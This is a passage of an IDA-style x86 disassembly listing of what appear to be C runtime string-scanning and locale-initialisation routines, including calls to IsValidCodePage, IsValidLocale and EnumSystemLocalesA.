		add	ecx, 2
		mov	[ebp+var_18], ecx


loc_42FAC3:				; CODE XREF: sub_42F970+148j
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42FB09
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_42FB09
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		jmp	short loc_42FAEF
; ---------------------------------------------------------------------------


loc_42FAE6:				; CODE XREF: sub_42F970+195j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_42FAEF:				; CODE XREF: sub_42F970+174j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_20], ecx
		jg	short loc_42FB07
		mov	edx, [ebp+var_2C]
		add	edx, [ebp+var_20]
		mov	byte ptr [edx],	0
		jmp	short loc_42FAE6
; ---------------------------------------------------------------------------


loc_42FB07:				; CODE XREF: sub_42F970+18Aj
		jmp	short loc_42FABA
; ---------------------------------------------------------------------------


loc_42FB09:				; CODE XREF: sub_42F970+140j
					; sub_42F970+15Cj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_30]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	1
		call	sub_42C100
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42FB32
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42FB32:				; CODE XREF: sub_42F970+1BBj
		mov	edx, [ebp+var_30]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_28]
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], 0
		jmp	short loc_42FB52
; ---------------------------------------------------------------------------


loc_42FB49:				; CODE XREF: sub_42F970+1FEj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_42FB52:				; CODE XREF: sub_42F970+1D7j
		cmp	[ebp+var_20], 100h
		jge	short loc_42FB70
		mov	edx, [ebp+var_24]
		mov	ax, word ptr [ebp+var_20]
		mov	[edx], ax
		mov	ecx, [ebp+var_24]
		add	ecx, 2
		mov	[ebp+var_24], ecx
		jmp	short loc_42FB49
; ---------------------------------------------------------------------------


loc_42FB70:				; CODE XREF: sub_42F970+1E9j
		push	0
		push	0
		mov	edx, [ebp+var_1C]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp+var_28]
		push	eax
		push	1
		call	sub_433B90
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB97
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42FB97:				; CODE XREF: sub_42F970+220j
		mov	ecx, [ebp+var_1C]
		mov	word ptr [ecx],	0
		cmp	dword_4516A8, 1
		jle	short loc_42FC03
		lea	edx, [ebp+var_E]
		mov	[ebp+var_18], edx
		jmp	short loc_42FBB9
; ---------------------------------------------------------------------------


loc_42FBB0:				; CODE XREF: sub_42F970:loc_42FC01j
		mov	eax, [ebp+var_18]
		add	eax, 2
		mov	[ebp+var_18], eax


loc_42FBB9:				; CODE XREF: sub_42F970+23Ej
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42FC03
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_42FC03
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_42FBE5
; ---------------------------------------------------------------------------


loc_42FBDC:				; CODE XREF: sub_42F970+28Fj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_42FBE5:				; CODE XREF: sub_42F970+26Aj
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp+var_20], eax
		jg	short loc_42FC01
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_30]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_42FBDC
; ---------------------------------------------------------------------------


loc_42FC01:				; CODE XREF: sub_42F970+280j
		jmp	short loc_42FBB0
; ---------------------------------------------------------------------------


loc_42FC03:				; CODE XREF: sub_42F970+236j
					; sub_42F970+252j ...
		mov	eax, [ebp+var_30]
		add	eax, 2
		mov	off_45149C, eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 2
		mov	off_4514A0, ecx
		cmp	dword_4EFBA8, 0
		jz	short loc_42FC34
		push	2
		mov	edx, dword_4EFBA8
		push	edx
		call	sub_419980
		add	esp, 8


loc_42FC34:				; CODE XREF: sub_42F970+2B1j
		mov	eax, [ebp+var_30]
		mov	dword_4EFBA8, eax
		cmp	dword_4EFBAC, 0
		jz	short loc_42FC56
		push	2
		mov	ecx, dword_4EFBAC
		push	ecx
		call	sub_419980
		add	esp, 8


loc_42FC56:				; CODE XREF: sub_42F970+2D3j
		mov	edx, [ebp+var_1C]
		mov	dword_4EFBAC, edx
		push	2
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_419980
		add	esp, 8
		xor	eax, eax
		jmp	loc_42FD0C
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: sub_42F970+4Bj
					; sub_42F970:loc_42FA3Cj ...
		push	2
		mov	edx, [ebp+var_30]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_2C]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42FD0C
; ---------------------------------------------------------------------------


loc_42FCC1:				; CODE XREF: sub_42F970+1Bj
		mov	off_45149C, offset word_4514A6
		mov	off_4514A0, offset word_4514A6
		push	2
		mov	eax, dword_4EFBA8
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, dword_4EFBAC
		push	ecx
		call	sub_419980
		add	esp, 8
		mov	dword_4EFBA8, 0
		mov	dword_4EFBAC, 0
		xor	eax, eax


loc_42FD0C:				; CODE XREF: sub_42F970+30Dj
					; sub_42F970+34Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FD10	proc near		; DATA XREF: .nsp0:00451B94o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42FD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FD20	proc near		; CODE XREF: .nsp0:00428A6Ep
					; sub_429120+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42FD34:				; CODE XREF: sub_42FD20+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42FD41
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42FD34
; ---------------------------------------------------------------------------


loc_42FD41:				; CODE XREF: sub_42FD20+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop


loc_42FD48:				; CODE XREF: sub_42FD20+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_42FD56
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42FD48


loc_42FD56:				; CODE XREF: sub_42FD20+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42FD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FD60	proc near		; CODE XREF: .nsp0:0042898Dp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42FD74:				; CODE XREF: sub_42FD60+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42FD81
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42FD74
; ---------------------------------------------------------------------------


loc_42FD81:				; CODE XREF: sub_42FD60+18j
		mov	esi, [ebp+arg_0]


loc_42FD84:				; CODE XREF: sub_42FD60+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_42FD94
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42FD84
		lea	eax, [esi-1]


loc_42FD94:				; CODE XREF: sub_42FD60+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42FD60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FDA0	proc near		; CODE XREF: sub_428F30+D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4EFBF4, 0
		jnz	short loc_42FDD2
		call	sub_430870
		test	eax, eax
		jz	short loc_42FDC2
		mov	eax, dword_4F1380
		mov	[ebp+var_8], eax
		jmp	short loc_42FDC9
; ---------------------------------------------------------------------------


loc_42FDC2:				; CODE XREF: sub_42FDA0+16j
		mov	[ebp+var_8], offset sub_4308C0


loc_42FDC9:				; CODE XREF: sub_42FDA0+20j
		mov	ecx, [ebp+var_8]
		mov	dword_4EFBF4, ecx


loc_42FDD2:				; CODE XREF: sub_42FDA0+Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42FDE2
		call	sub_4306C0
		jmp	loc_42FEAE
; ---------------------------------------------------------------------------


loc_42FDE2:				; CODE XREF: sub_42FDA0+36j
		mov	edx, [ebp+arg_0]
		mov	dword_4EFBE4, edx
		cmp	dword_4EFBE4, 0
		jz	short loc_42FE14
		mov	eax, dword_4EFBE4
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42FE14
		push	offset dword_4EFBE4
		push	40h
		push	offset off_4523E0
		call	sub_42FFA0
		add	esp, 0Ch


loc_42FE14:				; CODE XREF: sub_42FDA0+52j
					; sub_42FDA0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		mov	dword_4EFBE8, edx
		cmp	dword_4EFBE8, 0
		jz	short loc_42FE49
		mov	eax, dword_4EFBE8
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42FE49
		push	offset dword_4EFBE8
		push	16h
		push	offset off_452328
		call	sub_42FFA0
		add	esp, 0Ch


loc_42FE49:				; CODE XREF: sub_42FDA0+87j
					; sub_42FDA0+93j
		mov	dword_4EFBEC, 0
		cmp	dword_4EFBE4, 0
		jz	short loc_42FE8D
		mov	edx, dword_4EFBE4
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42FE8D
		cmp	dword_4EFBE8, 0
		jz	short loc_42FE86
		mov	ecx, dword_4EFBE8
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42FE86
		call	sub_430030
		jmp	short loc_42FE8B
; ---------------------------------------------------------------------------


loc_42FE86:				; CODE XREF: sub_42FDA0+D0j
					; sub_42FDA0+DDj
		call	sub_430420


loc_42FE8B:				; CODE XREF: sub_42FDA0+E4j
		jmp	short loc_42FEAE
; ---------------------------------------------------------------------------


loc_42FE8D:				; CODE XREF: sub_42FDA0+BAj
					; sub_42FDA0+C7j
		cmp	dword_4EFBE8, 0
		jz	short loc_42FEA9
		mov	eax, dword_4EFBE8
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42FEA9
		call	sub_4305C0
		jmp	short loc_42FEAE
; ---------------------------------------------------------------------------


loc_42FEA9:				; CODE XREF: sub_42FDA0+F4j
					; sub_42FDA0+100j
		call	sub_4306C0


loc_42FEAE:				; CODE XREF: sub_42FDA0+3Dj
					; sub_42FDA0:loc_42FE8Bj ...
		cmp	dword_4EFBEC, 0
		jnz	short loc_42FEBE
		xor	eax, eax
		jmp	loc_42FF9C
; ---------------------------------------------------------------------------


loc_42FEBE:				; CODE XREF: sub_42FDA0+115j
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_4306F0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42FEEC
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		push	eax
		call	dword_4F12DC	; IsValidCodePage
		test	eax, eax
		jnz	short loc_42FEF3


loc_42FEEC:				; CODE XREF: sub_42FDA0+137j
		xor	eax, eax
		jmp	loc_42FF9C
; ---------------------------------------------------------------------------


loc_42FEF3:				; CODE XREF: sub_42FDA0+14Aj
		push	1
		mov	ecx, dword_4EFBD4
		push	ecx
		call	dword_4F12E0	; IsValidLocale
		test	eax, eax
		jnz	short loc_42FF0D
		xor	eax, eax
		jmp	loc_42FF9C
; ---------------------------------------------------------------------------


loc_42FF0D:				; CODE XREF: sub_42FDA0+164j
		cmp	[ebp+arg_4], 0
		jz	short loc_42FF38
		mov	edx, [ebp+arg_4]
		mov	ax, word ptr dword_4EFBD4
		mov	[edx], ax
		mov	ecx, [ebp+arg_4]
		mov	dx, word ptr dword_4EFBF0
		mov	[ecx+2], dx
		mov	eax, [ebp+arg_4]
		mov	cx, word ptr [ebp+var_4]
		mov	[eax+4], cx


loc_42FF38:				; CODE XREF: sub_42FDA0+171j
		cmp	[ebp+arg_8], 0
		jz	short loc_42FF97
		push	40h
		mov	edx, [ebp+arg_8]
		push	edx
		push	1001h
		mov	eax, dword_4EFBD4
		push	eax
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_42FF5D
		xor	eax, eax
		jmp	short loc_42FF9C
; ---------------------------------------------------------------------------


loc_42FF5D:				; CODE XREF: sub_42FDA0+1B7j
		push	40h
		mov	ecx, [ebp+arg_8]
		add	ecx, 40h
		push	ecx
		push	1002h
		mov	edx, dword_4EFBF0
		push	edx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_42FF80
		xor	eax, eax
		jmp	short loc_42FF9C
; ---------------------------------------------------------------------------


loc_42FF80:				; CODE XREF: sub_42FDA0+1DAj
		push	0Ah
		mov	eax, [ebp+arg_8]
		add	eax, 80h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42AE00
		add	esp, 0Ch


loc_42FF97:				; CODE XREF: sub_42FDA0+19Cj
		mov	eax, 1


loc_42FF9C:				; CODE XREF: sub_42FDA0+119j
					; sub_42FDA0+14Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42FDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FFA0	proc near		; CODE XREF: sub_42FDA0+6Cp
					; sub_42FDA0+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0


loc_42FFB4:				; CODE XREF: sub_42FFA0:loc_43001Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_43001E
		cmp	[ebp+var_8], 0
		jz	short loc_43001E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_41DBF0
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_430002
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_43001C
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: sub_42FFA0+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_430013
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_43001C
; ---------------------------------------------------------------------------


loc_430013:				; CODE XREF: sub_42FFA0+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_43001C:				; CODE XREF: sub_42FFA0+60j
					; sub_42FFA0+71j
		jmp	short loc_42FFB4
; ---------------------------------------------------------------------------


loc_43001E:				; CODE XREF: sub_42FFA0+1Aj
					; sub_42FFA0+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FFA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430030	proc near		; CODE XREF: sub_42FDA0+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EFBE4
		push	eax
		call	sub_418D00
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4EFBE0, ecx
		mov	edx, dword_4EFBE8
		push	edx
		call	sub_418D00
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4EFBD8, ecx
		mov	dword_4EFBD4, 0
		cmp	dword_4EFBE0, 0
		jz	short loc_430089
		mov	[ebp+var_4], 2
		jmp	short loc_43009B
; ---------------------------------------------------------------------------


loc_430089:				; CODE XREF: sub_430030+4Ej
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_430AD0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_43009B:				; CODE XREF: sub_430030+57j
		mov	eax, [ebp+var_4]
		mov	dword_4EFBDC, eax
		push	1
		push	offset sub_4300F0
		call	dword_4F12D8	; EnumSystemLocalesA
		mov	ecx, dword_4EFBEC
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_4300DC
		mov	edx, dword_4EFBEC
		and	edx, 200h
		test	edx, edx
		jz	short loc_4300DC
		mov	eax, dword_4EFBEC
		and	eax, 7
		test	eax, eax
		jnz	short loc_4300E6


loc_4300DC:				; CODE XREF: sub_430030+8Ej
					; sub_430030+9Ej
		mov	dword_4EFBEC, 0


loc_4300E6:				; CODE XREF: sub_430030+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_430030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4300F0	proc near		; DATA XREF: sub_430030+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430A50
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBD8
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_430144
		mov	dword_4EFBEC, 0
		mov	eax, 1
		jmp	loc_43040E
; ---------------------------------------------------------------------------


loc_430144:				; CODE XREF: sub_4300F0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBE8
		push	edx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	loc_43027F
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4EFBE0
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_43019E
		mov	dword_4EFBEC, 0
		mov	eax, 1
		jmp	loc_43040E
; ---------------------------------------------------------------------------


loc_43019E:				; CODE XREF: sub_4300F0+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4EFBE4
		push	ecx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4301E0
		mov	edx, dword_4EFBEC
		or	edx, 304h
		mov	dword_4EFBEC, edx
		mov	eax, [ebp+var_7C]
		mov	dword_4EFBF0, eax
		mov	ecx, dword_4EFBF0
		mov	dword_4EFBD4, ecx
		jmp	loc_43027F
; ---------------------------------------------------------------------------


loc_4301E0:				; CODE XREF: sub_4300F0+C3j
		mov	edx, dword_4EFBEC
		and	edx, 2
		test	edx, edx
		jnz	loc_43027F
		cmp	dword_4EFBDC, 0
		jz	short loc_43024D
		mov	eax, dword_4EFBDC
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_433E00
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43024D
		mov	eax, dword_4EFBEC
		or	al, 2
		mov	dword_4EFBEC, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBF0, ecx
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_418D00
		add	esp, 4
		cmp	eax, dword_4EFBDC
		jnz	short loc_43024B
		mov	eax, [ebp+var_7C]
		mov	dword_4EFBD4, eax


loc_43024B:				; CODE XREF: sub_4300F0+151j
		jmp	short loc_43027F
; ---------------------------------------------------------------------------


loc_43024D:				; CODE XREF: sub_4300F0+108j
					; sub_4300F0+125j
		mov	ecx, dword_4EFBEC
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43027F
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_430790
		add	esp, 4
		test	eax, eax
		jz	short loc_43027F
		mov	eax, dword_4EFBEC
		or	al, 1
		mov	dword_4EFBEC, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBF0, ecx


loc_43027F:				; CODE XREF: sub_4300F0+69j
					; sub_4300F0+EBj ...
		mov	edx, dword_4EFBEC
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_430401
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4EFBE0
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_4302D6
		mov	dword_4EFBEC, 0
		mov	eax, 1
		jmp	loc_43040E
; ---------------------------------------------------------------------------


loc_4302D6:				; CODE XREF: sub_4300F0+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4EFBE4
		push	ecx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	loc_4303A0
		mov	edx, dword_4EFBEC
		or	dh, 2
		mov	dword_4EFBEC, edx
		cmp	dword_4EFBE0, 0
		jz	short loc_43032A
		mov	eax, dword_4EFBEC
		or	ah, 1
		mov	dword_4EFBEC, eax
		cmp	dword_4EFBD4, 0
		jnz	short loc_430328
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBD4, ecx


loc_430328:				; CODE XREF: sub_4300F0+22Dj
		jmp	short loc_43039E
; ---------------------------------------------------------------------------


loc_43032A:				; CODE XREF: sub_4300F0+217j
		cmp	dword_4EFBDC, 0
		jz	short loc_43037F
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_418D00
		add	esp, 4
		cmp	eax, dword_4EFBDC
		jnz	short loc_43037F
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4307E0
		add	esp, 8
		test	eax, eax
		jz	short loc_43037D
		mov	ecx, dword_4EFBEC
		or	ch, 1
		mov	dword_4EFBEC, ecx
		cmp	dword_4EFBD4, 0
		jnz	short loc_43037D
		mov	edx, [ebp+var_7C]
		mov	dword_4EFBD4, edx


loc_43037D:				; CODE XREF: sub_4300F0+26Aj
					; sub_4300F0+282j
		jmp	short loc_43039E
; ---------------------------------------------------------------------------


loc_43037F:				; CODE XREF: sub_4300F0+241j
					; sub_4300F0+258j
		mov	eax, dword_4EFBEC
		or	ah, 1
		mov	dword_4EFBEC, eax
		cmp	dword_4EFBD4, 0
		jnz	short loc_43039E
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBD4, ecx


loc_43039E:				; CODE XREF: sub_4300F0:loc_430328j
					; sub_4300F0:loc_43037Dj ...
		jmp	short loc_430401
; ---------------------------------------------------------------------------


loc_4303A0:				; CODE XREF: sub_4300F0+1FBj
		cmp	dword_4EFBE0, 0
		jnz	short loc_430401
		cmp	dword_4EFBDC, 0
		jz	short loc_430401
		mov	edx, dword_4EFBDC
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4EFBE4
		push	ecx
		call	sub_433E00
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_430401
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4307E0
		add	esp, 8
		test	eax, eax
		jz	short loc_430401
		mov	eax, dword_4EFBEC
		or	ah, 1
		mov	dword_4EFBEC, eax
		cmp	dword_4EFBD4, 0
		jnz	short loc_430401
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBD4, ecx


loc_430401:				; CODE XREF: sub_4300F0+1A1j
					; sub_4300F0:loc_43039Ej ...
		mov	eax, dword_4EFBEC
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_43040E:				; CODE XREF: sub_4300F0+4Fj
					; sub_4300F0+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4300F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430420	proc near		; CODE XREF: sub_42FDA0:loc_42FE86p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EFBE4
		push	eax
		call	sub_418D00
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4EFBE0, ecx
		cmp	dword_4EFBE0, 0
		jz	short loc_430452
		mov	[ebp+var_4], 2
		jmp	short loc_430464
; ---------------------------------------------------------------------------


loc_430452:				; CODE XREF: sub_430420+27j
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_430AD0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_430464:				; CODE XREF: sub_430420+30j
		mov	eax, [ebp+var_4]
		mov	dword_4EFBDC, eax
		push	1
		push	offset sub_4304A0
		call	dword_4F12D8	; EnumSystemLocalesA
		mov	ecx, dword_4EFBEC
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_430490
		mov	dword_4EFBEC, 0


loc_430490:				; CODE XREF: sub_430420+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_430420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4304A0	proc near		; DATA XREF: sub_430420+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430A50
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBE0
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_4304F4
		mov	dword_4EFBEC, 0
		mov	eax, 1
		jmp	loc_4305B9
; ---------------------------------------------------------------------------


loc_4304F4:				; CODE XREF: sub_4304A0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	short loc_430549
		cmp	dword_4EFBE0, 0
		jnz	short loc_430526
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4307E0
		add	esp, 8
		test	eax, eax
		jz	short loc_430547


loc_430526:				; CODE XREF: sub_4304A0+72j
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBF0, ecx
		mov	edx, dword_4EFBF0
		mov	dword_4EFBD4, edx
		mov	eax, dword_4EFBEC
		or	al, 4
		mov	dword_4EFBEC, eax


loc_430547:				; CODE XREF: sub_4304A0+84j
		jmp	short loc_4305AC
; ---------------------------------------------------------------------------


loc_430549:				; CODE XREF: sub_4304A0+69j
		cmp	dword_4EFBE0, 0
		jnz	short loc_4305AC
		cmp	dword_4EFBDC, 0
		jz	short loc_4305AC
		mov	ecx, dword_4EFBDC
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, dword_4EFBE4
		push	eax
		call	sub_433E00
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4305AC
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_4307E0
		add	esp, 8
		test	eax, eax
		jz	short loc_4305AC
		mov	edx, [ebp+var_7C]
		mov	dword_4EFBF0, edx
		mov	eax, dword_4EFBF0
		mov	dword_4EFBD4, eax
		mov	ecx, dword_4EFBEC
		or	ecx, 4
		mov	dword_4EFBEC, ecx


